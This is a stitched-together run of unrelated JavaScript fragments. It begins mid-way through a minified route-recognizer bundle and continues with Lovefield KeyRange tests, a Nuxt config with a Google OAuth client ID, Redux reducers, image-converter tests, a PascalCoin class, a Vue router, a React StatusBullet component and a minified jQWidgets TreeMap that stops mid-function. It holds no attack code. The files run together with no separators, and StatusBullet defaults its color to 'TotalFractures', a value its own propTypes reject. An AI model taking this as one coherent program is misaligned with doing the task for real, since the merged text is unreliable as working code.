this.registerHandler(this.putRouteRecognizer,"PUT",t,e),this},t.prototype["delete"]=function(t,e){return this.registerHandler(this.deleteRouteRecognizer,"DELETE",t,e),this},t.prototype.registerHandler=function(t,e,r,a){var i=function(t){var e=new o;return Promise.resolve(a(t,e)).then(function(t){return e})};t.add([{path:r,handler:i}]);var n={test:function(r){if(r.method!==e)return!1;var a=t.recognize(r.url);if(void 0===a)return!1;var i=a[0];return r.params=i.params,r.queryParams=a.queryParams,r.handler=i.handler,!0},handle:function(t){return t.handler(t)}};this.handlers.addHandler(n)},t}();e.Router=i;var o=function(){function t(){this.statusCode=200,this.headers={},this.body=null}return t.prototype.send=function(t,e){this.statusCode=t,this.body=e},t}();e.Response=o},function(t,e,r){var a;(function(t){(function(){"use strict";function i(t,e,r){this.path=t,this.matcher=e,this.delegate=r}function o(t){this.routes={},this.children={},this.target=t}function n(t,e,r){return function(a,o){var l=t+a;return o?void o(n(l,e,r)):new i(t+a,e,r)}}function l(t,e,r){for(var a=0,i=0;i<t.length;i++)a+=t[i].path.length;e=e.substr(a);var o={path:e,handler:r};t.push(o)}function s(t,e,r,a){var i=e.routes;for(var o in i)if(i.hasOwnProperty(o)){var n=t.slice();l(n,o,i[o]),e.children[o]?s(n,e.children[o],r,a):r.call(a,n)}}function d(t){return"[object Array]"===Object.prototype.toString.call(t)}function u(t){this.string=t}function p(t){this.name=t}function c(t){this.name=t}function f(){}function h(t,e,r){"/"===t.charAt(0)&&(t=t.substr(1));var a=t.split("/"),i=new Array(a.length);r.val="";for(var o=0;o<a.length;o++){var n,l=a[o];(n=l.match(/^:([^\/]+)$/))?(i[o]=new p(n[1]),e.push(n[1]),r.val+="3"):(n=l.match(/^\*([^\/]+)$/))?(i[o]=new c(n[1]),r.val+="1",e.push(n[1])):""===l?(i[o]=new f,r.val+="2"):(i[o]=new u(l),r.val+="4")}return r.val=+r.val,i}function v(t){this.charSpec=t,this.nextStates=[],this.charSpecs={},this.regex=void 0,this.handlers=void 0,this.specificity=void 0}function y(t){return t.sort(function(t,e){return e.specificity.val-t.specificity.val})}function m(t,e){for(var r=[],a=0,i=t.length;a<i;a++){var o=t[a];r=r.concat(o.match(e))}return r}function g(t){this.queryParams=t||{}}function V(t,e,r){var a=t.handlers,i=t.regex,o=e.match(i),n=1,l=new g(r);l.length=a.length;for(var s=0;s<a.length;s++){for(var d=a[s],u=d.names,p={},c=0;c<u.length;c++)p[u[c]]=o[n++];l[s]={handler:d.handler,params:p,isDynamic:!!u.length}}return l}function w(t){t=t.replace(/\+/gm,"%20");var e;try{e=decodeURIComponent(t)}catch(r){e=""}return e}i.prototype={to:function(t,e){var r=this.delegate;if(r&&r.willAddRoute&&(t=r.willAddRoute(this.matcher.target,t)),this.matcher.add(this.path,t),e){if(0===e.length)throw new Error("You must have an argument in the function passed to `to`");this.matcher.addChild(this.path,t,e,this.delegate)}return this}},o.prototype={add:function(t,e){this.routes[t]=e},addChild:function(t,e,r,a){var i=new o(e);this.children[t]=i;var l=n(t,i,a);a&&a.contextEntered&&a.contextEntered(e,l),r(l)}};var b=function(t,e){var r=new o;t(n("",r,this.delegate)),s([],r,function(t){e?e(this,t):this.add(t)},this)},E=["/",".","*","+","?","|","(",")","[","]","{","}","\\"],S=new RegExp("(\\"+E.join("|\\")+")","g");u.prototype={eachChar:function(t){for(var e,r=this.string,a=0;a<r.length;a++)e=r.charAt(a),t=t.put({invalidChars:void 0,repeat:!1,validChars:e});return t},regex:function(){return this.string.replace(S,"\\$1")},generate:function(){return this.string}},p.prototype={eachChar:function(t){return t.put({invalidChars:"/",repeat:!0,validChars:void 0})},regex:function(){return"([^/]+)"},generate:function(t){return t[this.name]}},c.prototype={eachChar:function(t){return t.put({invalidChars:"",repeat:!0,validChars:void 0})},regex:function(){return"(.+)"},generate:function(t){return t[this.name]}},f.prototype={eachChar:function(t){return t},regex:function(){return""},generate:function(){return""}},v.prototype={get:function(t){if(this.charSpecs[t.validChars])return this.charSpecs[t.validChars];for(var e=this.nextStates,r=0;r<e.length;r++){var a=e[r],i=a.charSpec.validChars===t.validChars;if(i=i&&a.charSpec.invalidChars===t.invalidChars)return this.charSpecs[t.validChars]=a,a}},put:function(t){var e;return(e=this.get(t))?e:(e=new v(t),this.nextStates.push(e),t.repeat&&e.nextStates.push(e),e)},match:function(t){for(var e,r,a,i=this.nextStates,o=[],n=0;n<i.length;n++)e=i[n],r=e.charSpec,"undefined"!=typeof(a=r.validChars)?a.indexOf(t)!==-1&&o.push(e):"undefined"!=typeof(a=r.invalidChars)&&a.indexOf(t)===-1&&o.push(e);return o}};var T=Object.create||function(t){function e(){}return e.prototype=t,new e};g.prototype=T({splice:Array.prototype.splice,slice:Array.prototype.slice,push:Array.prototype.push,length:0,queryParams:null});var O=function(){this.rootState=new v,this.names={}};O.prototype={add:function(t,e){for(var r,a=this.rootState,i="^",o={},n=new Array(t.length),l=[],s=!0,d=0;d<t.length;d++){var u=t[d],p=[],c=h(u.path,p,o);l=l.concat(c);for(var v=0;v<c.length;v++){var y=c[v];y instanceof f||(s=!1,a=a.put({invalidChars:void 0,repeat:!1,validChars:"/"}),i+="/",a=y.eachChar(a),i+=y.regex())}var m={handler:u.handler,names:p};n[d]=m}s&&(a=a.put({invalidChars:void 0,repeat:!1,validChars:"/"}),i+="/"),a.handlers=n,a.regex=new RegExp(i+"$"),a.specificity=o,(r=e&&e.as)&&(this.names[r]={segments:l,handlers:n})},handlersFor:function(t){var e=this.names[t];if(!e)throw new Error("There is no route named "+t);for(var r=new Array(e.handlers.length),a=0;a<e.handlers.length;a++)r[a]=e.handlers[a];return r},hasRoute:function(t){return!!this.names[t]},generate:function(t,e){var r=this.names[t],a="";if(!r)throw new Error("There is no route named "+t);for(var i=r.segments,o=0;o<i.length;o++){var n=i[o];n instanceof f||(a+="/",a+=n.generate(e))}return"/"!==a.charAt(0)&&(a="/"+a),e&&e.queryParams&&(a+=this.generateQueryString(e.queryParams,r.handlers)),a},generateQueryString:function(t,e){var r=[],a=[];for(var i in t)t.hasOwnProperty(i)&&a.push(i);a.sort();for(var o=0;o<a.length;o++){i=a[o];var n=t[i];if(null!=n){var l=encodeURIComponent(i);if(d(n))for(var s=0;s<n.length;s++){var u=i+"[]="+encodeURIComponent(n[s]);r.push(u)}else l+="="+encodeURIComponent(n),r.push(l)}}return 0===r.length?"":"?"+r.join("&")},parseQueryString:function(t){for(var e=t.split("&"),r={},a=0;a<e.length;a++){var i,o=e[a].split("="),n=w(o[0]),l=n.length,s=!1;1===o.length?i="true":(l>2&&"[]"===n.slice(l-2)&&(s=!0,n=n.slice(0,l-2),r[n]||(r[n]=[])),i=o[1]?w(o[1]):""),s?r[n].push(i):r[n]=i}return r},recognize:function(t){var e,r,a,i=[this.rootState],o={},n=!1;if(a=t.indexOf("?"),a!==-1){var l=t.substr(a+1,t.length);t=t.substr(0,a),o=this.parseQueryString(l)}for(t=decodeURI(t),"/"!==t.charAt(0)&&(t="/"+t),e=t.length,e>1&&"/"===t.charAt(e-1)&&(t=t.substr(0,e-1),n=!0),r=0;r<t.length&&(i=m(i,t.charAt(r)),i.length);r++);var s=[];for(r=0;r<i.length;r++)i[r].handlers&&s.push(i[r]);i=y(s);var d=s[0];if(d&&d.handlers)return n&&"(.+)$"===d.regex.source.slice(-5)&&(t+="/"),V(d,t,o)}},O.prototype.map=b,O.VERSION="0.1.11";var P=O;r(3).amd?(a=function(){return P}.call(e,r,e,t),!(void 0!==a&&(t.exports=a))):"undefined"!=typeof t&&t.exports?t.exports=P:"undefined"!=typeof this&&(this.RouteRecognizer=P)}).call(this)}).call(e,r(2)(t))},function(t,e){t.exports=function(t){return t.webpackPolyfill||(t.deprecate=function(){},t.paths=[],t.children=[],t.webpackPolyfill=1),t}},function(t,e){t.exports=function(){throw new Error("define cannot be used indirect")}}])})}])});
/** * @license * Copyright 2014 Google Inc. All Rights Reserved. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ goog.setTestOnly(); goog.require('goog.testing.jsunit'); /** @suppress {extraRequire} */ goog.require('lf.index.Index'); goog.require('lf.index.KeyRange'); /** * Tests KeyRange#complement() for the case where the original key range has * specified bounds on both sides. */ function testComplement_WithBounds() { // Testing case where both lower and upper bound are included. var keyRange = new lf.index.KeyRange(10, 20, false, false); var complementKeyRanges = keyRange.complement(); assertEquals(2, complementKeyRanges.length); assertEquals('[unbound, 10)', complementKeyRanges[0].toString()); assertEquals('(20, unbound]', complementKeyRanges[1].toString()); // Testing case where lower bound is excluded. keyRange = new lf.index.KeyRange(10, 20, true, false); complementKeyRanges = keyRange.complement(); assertEquals(2, complementKeyRanges.length); assertEquals('[unbound, 10]', complementKeyRanges[0].toString()); assertEquals('(20, unbound]', complementKeyRanges[1].toString()); // Testing case where upper bound is excluded. keyRange = new lf.index.KeyRange(10, 20, false, true); complementKeyRanges = keyRange.complement(); assertEquals(2, complementKeyRanges.length); assertEquals('[unbound, 10)', complementKeyRanges[0].toString()); assertEquals('[20, unbound]', complementKeyRanges[1].toString()); // Testing case where both lower and upper bound are excluded. keyRange = new lf.index.KeyRange(10, 20, true, true); complementKeyRanges = keyRange.complement(); assertEquals(2, complementKeyRanges.length); assertEquals('[unbound, 10]', complementKeyRanges[0].toString()); assertEquals('[20, unbound]', complementKeyRanges[1].toString()); } /** * Tests KeyRange#complement() for the case where the original key range only * has an upper bound. */ function testComplement_UpperBoundOnly() { var keyRange = new lf.index.KeyRange(null, 20, false, false); var complementKeyRanges = keyRange.complement(); assertEquals(1, complementKeyRanges.length); assertEquals('(20, unbound]', complementKeyRanges[0].toString()); keyRange = new lf.index.KeyRange(null, 20, false, true); complementKeyRanges = keyRange.complement(); assertEquals(1, complementKeyRanges.length); assertEquals('[20, unbound]', complementKeyRanges[0].toString()); } /** * Tests KeyRange#complement() for the case where the original key range only * has an lower bound. */ function testComplement_LowerBoundOnly() { var keyRange = new lf.index.KeyRange(20, null, false, false); var complementKeyRanges = keyRange.complement(); assertEquals(1, complementKeyRanges.length); assertEquals('[unbound, 20)', complementKeyRanges[0].toString()); keyRange = new lf.index.KeyRange(20, null, true, false); complementKeyRanges = keyRange.complement(); assertEquals(1, complementKeyRanges.length); assertEquals('[unbound, 20]', complementKeyRanges[0].toString()); } /** * Tests KeyRange#complement() for the case where the original key range is not * bounded on either side. */ function testComplement_NoBound() { var keyRange = lf.index.KeyRange.all(); // The complement of a completely unbounded key range is the empty key range. assertEquals(0, keyRange.complement().length); } /** * Tests KeyRange#complement() for the case where the original key range * includes a single value. */ function testComplement_OnlyOneValue() { var keyRange = lf.index.KeyRange.only(20); var complementKeyRanges = keyRange.complement(); assertEquals(2, complementKeyRanges.length); assertEquals('[unbound, 20)', complementKeyRanges[0].toString()); assertEquals('(20, unbound]', complementKeyRanges[1].toString()); }
const pkg = require('./package') module.exports = { mode: 'universal', /* ** Headers of the page */ head: { title: pkg.name, meta: [ { charset: 'utf-8' }, { name: 'viewport', content: 'width=device-width, initial-scale=1' }, { hid: 'description', name: 'description', content: pkg.description } ], link: [ { rel: 'icon', type: 'image/x-icon', href: '/favicon.ico' }, { rel: 'stylesheet', href: 'https://fonts.googleapis.com/css?family=Roboto:300,400,500,700|Material+Icons' } ] }, /* ** Customize the progress-bar color */ loading: { color: '#fff' }, /* ** Global CSS */ css: ['~/assets/style/app.styl'], /* ** Plugins to load before mounting the App */ plugins: ['@/plugins/vuetify'], /* ** Nuxt.js modules */ modules: [ // Doc: https://github.com/nuxt-community/axios-module#usage '@nuxtjs/axios', '@nuxtjs/auth' ], /* ** Axios module configuration */ axios: { // See https://github.com/nuxt-community/axios-module#options }, /* ** Build configuration */ build: { /* ** You can extend webpack config here */ extend(config, ctx) { // Run ESLint on save if (ctx.isDev && ctx.isClient) { config.module.rules.push({ enforce: 'pre', test: /\.(js|vue)$/, loader: 'eslint-loader', exclude: /(node_modules)/ }) } } }, auth: { redirect: { callback: '/callback' }, strategies: { google: { client_id: '354258121734-ujhop03v9hdmpp35b001se41fcve8caq.apps.googleusercontent.com', scope: ['openid', 'profile', 'email'] } } } }
import { ADD_COMMENT, LOAD_ARTICLE_COMMENTS, LOAD_COMMENTS_FOR_PAGE, START, SUCCESS } from '../constants' import { Record, OrderedMap, Map } from 'immutable' import { arrToMap } from './utils' const CommentRecord = Record({ id: null, text: null, user: null }) const ReducerRecord = Record({ entities: new OrderedMap({}), pagination: new Map({}), total: null }) export default (state = new ReducerRecord(), action) => { const { type, payload, randomId, response } = action switch (type) { case ADD_COMMENT: return state.setIn( ['entities', randomId], new CommentRecord({ ...payload.comment, id: randomId }) ) case LOAD_ARTICLE_COMMENTS + SUCCESS: return state.mergeIn(['entities'], arrToMap(response, CommentRecord)) case LOAD_COMMENTS_FOR_PAGE + START: return state.setIn(['pagination', payload.page, 'loading'], true) case LOAD_COMMENTS_FOR_PAGE + SUCCESS: return state .set('total', response.total) .mergeIn(['entities'], arrToMap(response.records, CommentRecord)) .setIn( ['pagination', payload.page, 'ids'], response.records.map((comment) => comment.id) ) .setIn(['pagination', payload.page, 'loading'], false) default: return state } }
import { BOOKMARK_PAGE_LOADED, BOOKMARK_PAGE_UNLOADED, ADD_BOOKMARK, UPDATE_BOOKMARK, REMOVE_BOOKMARK } from '../actions/actionTypes' let initialState = { bookmarks: [] } export default (state = initialState, action) => { switch (action.type) { case BOOKMARK_PAGE_LOADED: return { ...state, bookmarks: action.payload.bookmarks } case BOOKMARK_PAGE_UNLOADED: return {} case ADD_BOOKMARK: return { ...state, bookmarks: [...state.bookmarks, action.payload.bookmark ] } case UPDATE_BOOKMARK: return { ...state, bookmarks: state.bookmarks.reduce( (newArray, element) => { if(element.id === action.payload.bookmark.id) { newArray.push(action.payload.bookmark) }else { newArray.push(element) } return newArray } ,[]) } case REMOVE_BOOKMARK: let idToRemove = action.payload.bookmarkId return { ...state, bookmarks: state.bookmarks.filter(item => item.id !== idToRemove) // filter returns a new array } default: return state } }
var assert = require('assert') , gm = require('gm') , fs = require('fs') , IMGR = require('../').IMGR; var images = __dirname + '/images/' , tmp = __dirname + '/tmp/'; var imgr = new IMGR(); describe('Converter', function () { it('should copy images when no resize/crop/optimisation is specified', function (done) { imgr.load(images + '1.jpg') .save(tmp + '1-copy.jpg', function (err) { assert(!err, err); fs.stat(tmp + '1-copy.jpg', function (err, file) { assert(!err, err); assert.equal(file.size, 70096, 'File was not copied'); done(); }); }); }); it('should create the output directory if it doesn\'t exist', function (done) { imgr.load(images + '1.jpg') .save(tmp + 'some/nested/dir/1-copy.jpg', function (err) { assert(!err, err); fs.stat(tmp + 'some/nested/dir/1-copy.jpg', function (err, file) { assert(!err, err); assert.equal(file.size, 70096, 'File was not copied'); done(); }); }); }); it('should resize to an exact width', function (done) { imgr.load(images + '1.jpg') .resizeToWidth(100) .save(tmp + '1-100width.jpg', function (err) { assert(!err, err); gm(tmp + '1-100width.jpg').size(function (err, size) { assert(!err, err); assert.equal(size.width, 100); done(); }); }); }); it('should resize to an exact height', function (done) { imgr.load(images + '1.jpg') .resizeToHeight(100) .save(tmp + '1-100height.jpg', function (err) { assert(!err, err); gm(tmp + '1-100height.jpg').size(function (err, size) { assert(!err, err); assert.equal(size.height, 100); done(); }); }); }); it('should resize by a factor', function (done) { imgr.load(images + '1.jpg') .resizeByFactor(0.5) .save(tmp + '1-halfsize.jpg', function (err) { assert(!err, err); gm(tmp + '1-halfsize.jpg').size(function (err, size) { assert(!err, err); assert.equal(size.width, 362); assert.equal(size.height, 189); done(); }); }); }); it('should resize adaptively with aspect ratio > 1', function (done) { imgr.load(images + '1.jpg') .adaptiveResize(200, 300) .save(tmp + '1-200x300.jpg', function (err) { assert(!err, err); gm(tmp + '1-200x300.jpg').size(function (err, size) { assert(!err, err); assert.equal(size.width, 200); assert.equal(size.height, 300); done(); }); }); }); it('should resize adaptively with aspect ratio < 1', function (done) { imgr.load(images + '2.png') .adaptiveResize(300, 200) .save(tmp + '2-300x200.png', function (err) { assert(!err, err); gm(tmp + '2-300x200.png').size(function (err, size) { assert(!err, err); assert.equal(size.width, 300); assert.equal(size.height, 200); done(); }); }); }); it('should handle PNG images with extra compressed data', function (done) { imgr.load(images + 'extra-compressed.png') .resizeToWidth(100) .save(tmp + 'extra-100.png', function (err) { assert(!err, err); gm(tmp + 'extra-100.png').size(function (err, size) { assert(!err, err); assert.equal(size.width, 100); done(); }); }); }); });
/** * Copyright (c) Benjamin Ansbach - all rights reserved. * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ const Abstract = require('./Abstract'); const AccountNumber = require('@pascalcoin-sbx/common').Types.AccountNumber; const Currency = require('@pascalcoin-sbx/common').Types.Currency; const BC = require('@pascalcoin-sbx/common').BC; const P_ACCOUNT = Symbol('account'); const P_AMOUNT = Symbol('amount'); const P_PAYLOAD = Symbol('payload'); /** * Represents a receiver in an operation. */ class Receiver extends Abstract { /** * Creates a new instance of the Receiver class. * * @param {Object} data */ static createFromRPC(data) { let receiver = new Receiver(data); receiver[P_ACCOUNT] = new AccountNumber(data.account); receiver[P_AMOUNT] = new Currency(data.amount); receiver[P_PAYLOAD] = BC.fromHex(data.payload); return receiver; } /** * Gets the account of the receiver. * * @returns {AccountNumber} */ get account() { return this[P_ACCOUNT]; } /** * Gets the amount. * * @returns {Currency} */ get amount() { return this[P_AMOUNT]; } /** * Gets the payload. * * @returns {BC} */ get payload() { return this[P_PAYLOAD]; } } module.exports = Receiver;
import Vue from "vue"; import VueRouter from "vue-router"; import store from "@/store"; Vue.use(VueRouter); const routes = [ { path: "/", name: "Home", component: () => import("@/views/Keywords.vue"), }, { path: "/signup", name: "SignUp", component: () => import("@/views/SignUp.vue"), }, { path: "/login", name: "LogIn", component: () => import("@/views/LogIn.vue"), }, { path: "/about", name: "About", component: () => import("@/views/About.vue"), }, { path: "/account", name: "Account", component: () => import("@/views/Account.vue"), }, { path: "/keywords", name: "Keywords", component: () => import("@/views/Keywords.vue"), }, { path: "/:path(.*)", component: () => import("@/views/NotFound.vue"), }, ]; const router = new VueRouter({ routes, }); router.beforeEach((to, from, next) => { if (!["LogIn", "SignUp"].includes(to.name) && !store.state.token) next({ name: "LogIn" }); else if (["LogIn", "SignUp"].includes(to.name) && store.state.token) { next({ name: "Keywords" }); } else next(); }); export default router;
import React from 'react'; import PropTypes from 'prop-types'; import clsx from 'clsx'; import { makeStyles } from '@material-ui/styles'; const useStyles = makeStyles(theme => ({ root: { display: 'inline-block', borderRadius: '50%', flexGrow: 0, flexShrink: 0 }, sm: { height: theme.spacing(1), width: theme.spacing(1) }, md: { height: theme.spacing(2), width: theme.spacing(2) }, lg: { height: theme.spacing(3), width: theme.spacing(3) }, neutral: { backgroundColor: theme.palette.neutral }, primary: { backgroundColor: theme.palette.primary.main }, info: { backgroundColor: theme.palette.info.main }, warning: { backgroundColor: theme.palette.warning.main }, danger: { backgroundColor: theme.palette.error.main }, success: { backgroundColor: theme.palette.success.main } })); const StatusBullet = props => { const { className, size, color, ...rest } = props; const classes = useStyles(); return ( <span {...rest} className={clsx( { [classes.root]: true, [classes[size]]: size, [classes[color]]: color }, className )} /> ); }; StatusBullet.propTypes = { className: PropTypes.string, color: PropTypes.oneOf([ 'neutral', 'primary', 'info', 'success', 'warning', 'danger' ]), size: PropTypes.oneOf(['sm', 'md', 'lg']) }; StatusBullet.defaultProps = { size: 'md', color: 'TotalFractures' }; export default StatusBullet;
/* jQWidgets v3.7.1 (2015-Feb) Copyright (c) 2011-2015 jQWidgets. License: http://jqwidgets.com/license/ */ (function(c){c.jqx.jqxWidget("jqxTreeMap","",{});var d={};d["default"]=(function(){function g(r,s,q,p){this.height=p;this.width=q;this.xoffset=r;this.yoffset=s;this.shortestEdge=function(){return Math.min(this.height,this.width)};this.getCoordinates=function(y){var x=[],v=this.xoffset,z=this.yoffset,w=j(y)/this.height,u=j(y)/this.width;if(this.width>=this.height){for(var t=0;t<y.length;t+=1){x.push([v,z,v+w,z+y[t]/w]);z=z+y[t]/w}}else{for(var t=0;t<y.length;t+=1){x.push([v,z,v+y[t]/u,z+u]);v=v+y[t]/u}}return x};this.cutArea=function(w){var y;if(this.width>=this.height){var x=w/this.height,t=this.width-x;y=new g(this.xoffset+x,this.yoffset,t,this.height)}else{var v=w/this.width,u=this.height-v;y=new g(this.xoffset,this.yoffset+v,this.width,u)}return y}}function o(t,r){var s=[],q=j(t),u=r/q;for(var p=0;p<t.length;p+=1){s[p]=t[p]*u}return s}function e(s,q,x,u,p){u=(typeof u==="undefined")?0:u;p=(typeof p==="undefined")?0:p;var v=[],w,t=[];if(h(s[0])){for(var r=0;r<s.length;r+=1){v[r]=i(s[r])}w=m(v,q,x,u,p);for(var r=0;r<s.length;r+=1){t.push(e(s[r],w[r][2]-w[r][0],w[r][3]-w[r][1],w[r][0],w[r][1]))}}else{t=m(s,q,x,u,p)}return t}function m(s,r,p,t,u){t=(typeof t==="undefined")?0:t;u=(typeof u==="undefined")?0:u;var q=f(o(s,r*p),[],new g(t,u,r,p),[]);return n(q)}function n(r){var s=[];for(var q=0;q<r.length;q+=1){for(var p=0;p<r[q].length;p+=1){s.push(r[q][p])}}return s}function f(u,t,q,p){var s,r,v;if(u.length===0){p.push(q.getCoordinates(t));return}s=q.shortestEdge();r=u[0];if(l(t,r,s)){t.push(r);f(u.slice(1),t,q,p)}else{v=q.cutArea(j(t),p);p.push(q.getCoordinates(t));f(u,[],v,p)}return p}function l(t,q,r){var s;if(t.length===0){return true}s=t.slice();s.push(q);var u=k(t,r),p=k(s,r);return u>=p}function k(t,s){var q=Math.min.apply(Math,t),p=Math.max.apply(Math,t),r=j(t);return Math.max(Math.pow(s,2)*p/Math.pow(r,2),Math.pow(r,2)/(Math.pow(s,2)*q))}function h(p){return p&&p.constructor===Array}function j(p){var r=0;for(var q=0;q<p.length;q+=1){r+=p[q]}return r}function i(p){var r=0;if(h(p[0])){for(var q=0;q<p.length;q+=1){r+=i(p[q])}}else{r=j(p)}return r}return e}());function b(g,l,i,h,j,f,k,e){this.label=g;this.value=l;this.parent=i;this.children=h;this.area=j||null;this.color=f;this.data=k;this.record=e}var a={HORIZONTAL:0,VERTICAL:1,BOTH:2};c.extend(c.jqx._jqxTreeMap.prototype,{defineInstance:function(){var e={width:600,height:600,renderCallbacks:{},legendScaleCallback:function(f){return f},hoverEnabled:false,selectionEnabled:true,singleSelection:true,showLegend:true,legendLabel:"Legend",headerHeight:25,colorRange:100,layout:"default",source:[],displayMember:null,valueMember:null,colorMode:"parent",baseColor:"#C2EEFF",legendPosition:{x:0,y:0},colorRanges:[{color:"#aa9988",min:0,max:10},{color:"#ccbbcc",min:11,max:50},{color:"#000",min:50,max:100}],_root:[]};c.extend(true,this,e);return e},createInstance:function(){this.render()},render:function(){this.host.addClass(this.toThemeProperty("jqx-widget"));this._destroy();this._root=new b(undefined,0,null,[],this.host);var e=function(h,k){var n={},l;var m=null;for(var j=0;j<h.length;j+=1){if(h[j].items){m=true;break}}var f=new Array();if(m){var g=function(v,s){for(var q=0;q<v.length;q+=1){v[q].parent=s;if(!v[q].data){v[q].data=v[q].value}if(v[q].value==null){v[q].value=0}if(isNaN(parseFloat(v[q].value))){var w=v[q].value.toString();var u="";for(var p=0;p<w.length;p++){var r=w.substring(p,p+1);if(r.match(/^[0-9]+$/)!=null||r=="."){u+=r}}v[q].value=new Number(u)}else{v[q].value=parseFloat(v[q].value)}f.push(v[q]);if(v[q].items){g(v[q].items,v[q].label)}}};g(h,null);h=f}for(var j=0;j<h.length;j+=1){l=h[j];if(l.value){if(l.parent!=null){if(!n[l.parent]){n[l.parent]=0}n[l.parent]+=l.value}}}for(var j=0;j<h.length;j+=1){l=h[j];if(n[l.label]!==undefined){l.value=n[l.label]}}k._buildTree(h,k._root);k._dataList=k._buildList();k._setStyles();var o=d["default"];if(k.layout==="simple"){o=d.simple}k._render(k._root,o);k._renderLegend()};if(c.jqx.dataAdapter&&this.source!=null&&this.source._source){this.dataBind(this.source,e);return}e(this.source,this);this._trigger("bindingComplete")},dataBind:function(e,m){this.records=new Array();var h=e._source?true:false;var f=new c.jqx.dataAdapter(e,{autoBind:false});if(h){f=e;e=e._source}var g=function(n){if(e.type!=undefined){f._options.type=e.type}if(e.formatdata!=undefined){f._options.formatData=e.formatdata}if(e.contenttype!=undefined){f._options.contentType=e.contenttype}if(e.async!=undefined){f._options.async=e.async}};var j=function(p,o){p.records=f.records;var q=new Array();for(var n=0;n<p.records.length;n++){var r=p.records[n];if(p.displayMember){r.label=r[p.displayMember]}if(p.valueMember){r.value=r[p.valueMember]}r.record=r;q.push(r)}p._trigger("bindingComplete");m(q,p)};g(this);var k=this;switch(e.datatype){case"local":case"array":default:if(e.localdata!=null){f.unbindBindingUpdate(this.element.id);f.dataBind();j(this);f.bindBindingUpdate(this.element.id,function(n){j(k,n)})}break;case"json":case"jsonp":case"xml":case"xhtml":case"script":case"text":case"csv":case"tab":if(e.localdata!=null){f.unbindBindingUpdate(this.element.id);f.dataBind();j(this);f.bindBindingUpdate(this.element.id,function(){j(k)});return}var l={};if(f._options.data){c.extend(f._options.data,l)}else{if(e.data){c.extend(l,e.data)}f._options.data=l}var i=function(){j(k)};f.unbindDownloadComplete(k.element.id);f.bindDownloadComplete(k.element.id,i);f.dataBind()}},_destroy:function(){this.host.children().remove()},destroy:function(){this.host.remove()},refresh:function(e){if(!e){this._refresh()}},_refresh:function(){this.render()},_setStyles:function(){this.host.css({position:"relative",width:this.width,height:this.height});var e=false;if(this.width!=null&&this.width.toString().indexOf("%")!=-1){e=true}if(this.height!=null&&this.height.toString().indexOf("%")!=-1){e=true}var f=this;c.jqx.utilities.resize(this.host,function(){if(f.resizeTimer){clearTimeout(f.resizeTimer)}f.resizeTimer=setTimeout(function(){f.performLayout()},50)})},resize:function(f,e){this.width=f;this.height=e;this.performLayout()},performLayout:function(){var e=d["default"];this.clearSelection();this._layout(this._root,e)},_getValues:function(g){var e=[];for(var f=0;f<g.length;f+=1){e.push(g[f].value)}return e},_isColor:function(e){if(!e){return false}var f=this._colorEvaluator;if(f._isRgb(e)||f._isHex(e)){return true}return false},_colorEvaluator:{_toRgb:function(f){var e=/^#?([a-f\d]{2})([a-f\d]{2})([a-f\d]{2})$/i.exec(f);return e?{r:parseInt(e[1],16),g:parseInt(e[2],16),b:parseInt(e[3],16)}:null},_toHex:function(f){var i=f.r.toString(16),h=f.g.toString(16),e=f.b.toString(16);i=i.length===1?"0"+i:i;h=h.length===1?"0"+h:h;e=e.length===1?"0"+e:e;return"#"+i+h+e},_isRgb:function(e){return(/(rgb|rgba)\s*\(\s*\d+\s*(,\s*\d+\s*){2}(,\d+\.\d+)?\)(;?)/i).test(e)},_isHex:function(e){return(/^(#([0-9A-F]{3})([0-9A-F]{3})?)$/i).test(e)},getColorByValue:function(n,j,k){var o=this._colorEvaluator,m,l,e,f,g,j;if(o._isRgb(k)){k=o._toHex(k)}k=o._toRgb(k);e=j.length;m=-Infinity;for(var h=0;h<e;h+=1){if(m<j[h].value){m=j[h].value}}l=n/m;f=Math.round(l*this.colorRange);g=o._toHex({r:Math.max(k.r-f,0),g:Math.max(k.g-f,0),b:Math.max(k.b-f,0)});return g},parent:function(g){var f=g.parent.color,e=this._colorEvaluator;if(!g.parent){return"#fff"}if(!f){f=this.baseColor}f=e.getColorByValue.call(this,g.value,g.parent.children,f);g.color=f;return f},autoColors:function(g){var f=this.baseColor,e=this._colorEvaluator;f=e.getColorByValue.call(this,g.value,this._dataList,f);g.color=f;return f},rangeColors:function(f){var h=f.value,g;for(var e=0;e<this.colorRanges.length;e+=1){g=this.colorRanges[e];if(g.min<h&&g.max>=h){return g.color}}return"#fff"}},_getColor:function(f){var e=f.color,g=this.colorMode;if(this._isColor(e)){return e}if(typeof this._colorEvaluator[g]==="function"){return this._colorEvaluator[g].call(this,f)}else{throw"Invalid colorMode"}},_renderRect:function(i,f){var j=c("<div/>"),e=i[2]-i[0],l=i[3]-i[1];var g=this._getColor(f);j.css({position:"absolute",left:i[0]-1,top:i[1]-1,width:e,height:l,backgroundColor:g});j.addClass(this.toThemeProperty("jqx-treemap-rectangle"));var k=this._colorEvaluator;var h={data:f.data,label:f.label,value:f.value,parent:f.parent,record:f.record,color:g,rgb:k._toRgb(g)};if(f.parent==this._root){h.parent=null}if(typeof this.renderCallbacks["*"]==="function"){var m=this.renderCallbacks["*"](j,h);if(m!==undefined){return j}}if(typeof this.renderCallbacks[f.label]==="function"){this.renderCallbacks[f.label](j,h)}else{var e=j.width()-2;j.html('<span style="max-width:'+e+'px;" class="jqx-treemap-label">'+f.label+"</span>")}return j},_centerLabel:function(g,f){var e=g[0].firstChild;e.style.position="absolute";if(f===a.HORIZONTAL||f===a.BOTH){e.style.left=(g[0].offsetWidth-e.offsetWidth)/2+"px"}if(f===a.VERTICAL||f===a.BOTH){e.style.top=(g[0].offsetHeight-e.offsetHeight)/2+"px"}},_trigger:function(g,f){var h=c.Event(g);h.args=f;return this.host.trigger(h)},_addHandlers:function(e,g){var 